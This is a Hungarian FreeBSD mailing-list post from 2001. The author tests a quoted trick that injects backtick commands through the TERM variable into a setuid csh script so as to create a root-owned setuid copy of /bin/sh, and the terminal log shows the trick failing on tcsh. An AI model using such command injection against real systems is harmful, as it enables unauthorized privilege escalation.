[FreeBSD] OFFTOPIC: megint a biztonsagrol...

[Adam Szilveszter]

On Fri, May 11, 2001 at 09:59:00AM +0200, Zelenak.Gabor at ans.lri.hu wrote:
> aztan ime az egyik furfang (csh alatt):
> % env TERM='`cp /bin/sh /tmp/sh;\
> chown root /tmp/sh;\
> chmod 4755/tmp/sh`' suid-shell-script

Ezt most teszteltem, a FreeBSD-s csh-val (ami tcsh egyebkent) ez a trukk
nem mukodik.

Ime:

[10:24, May 11., Fri] cc at fonix:/home/cc ttyv4 % su
Password:
[10:24, May 11., Fri] cc at fonix:/home/cc ttyv4 # cat > ezt.sh
#!/bin/csh
echo "Hulye"
[10:25, May 11., Fri] cc at fonix:/home/cc ttyv4 # chmod 4755 ezt.sh
[10:25, May 11., Fri] cc at fonix:/home/cc ttyv4 # exit
exit
[10:25, May 11., Fri] cc at fonix:/home/cc ttyv4 % ls -l ezt.sh
-rwsr-xr-x  1 root  cc  24 Máj 11 10:25 ezt.sh
[10:25, May 11., Fri] cc at fonix:/home/cc ttyv4 % /bin/csh
[10:25, May 11., Fri] cc at fonix:/home/cc ttyv4 % env TERM='`cp /bin/sh
/tmp/sh;\
? chown root /tmp/sh;\
? chmod 4755 /tmp/sh`' ezt.sh
env: ezt.sh: No such file or directory
[10:27, May 11., Fri] cc at fonix:/home/cc ttyv4 % env TERM='`cp /bin/sh
/tmp/sh;\
chown root /tmp/sh;\
chmod 4755 /tmp/sh`' ./ezt.sh
Hulye
[10:27, May 11., Fri] cc at fonix:/home/cc ttyv4 % ls -l /tmp/sh
ls: /tmp/sh: No such file or directory
[10:27, May 11., Fri] cc at fonix:/home/cc ttyv4 % exit
exit
[10:27, May 11., Fri] cc at fonix:/home/cc ttyv4 %
 
Lehet, hogy en nem ertek valamit persze...

Egyebirant uraim befejeznek a fakkolast vegre valahara? Lehet kulturaltan
is beszelgetni... plane ilyen dolgokrol. Vagy akkor menjunk IRC-re:-) A
#freebsd.hu csati szinvonalan mar ugy se lehet sokat rontani.

Udv:
Sz.
-- 
-------------------------------------------------------------------------------
* Adam Szilveszter * JATE Szeged * email: sziszi at petra.hos.u-szeged.hu *
* Honlap : nincs * alternativ email: sziszi at bsd.hu *
* PGP kulcs: Fingereld a sziszi at petra.hos.u-szeged.hu cimet! *
* FreeBSD: tisztabb, szarazabb, biztonsagosabb erzes...! *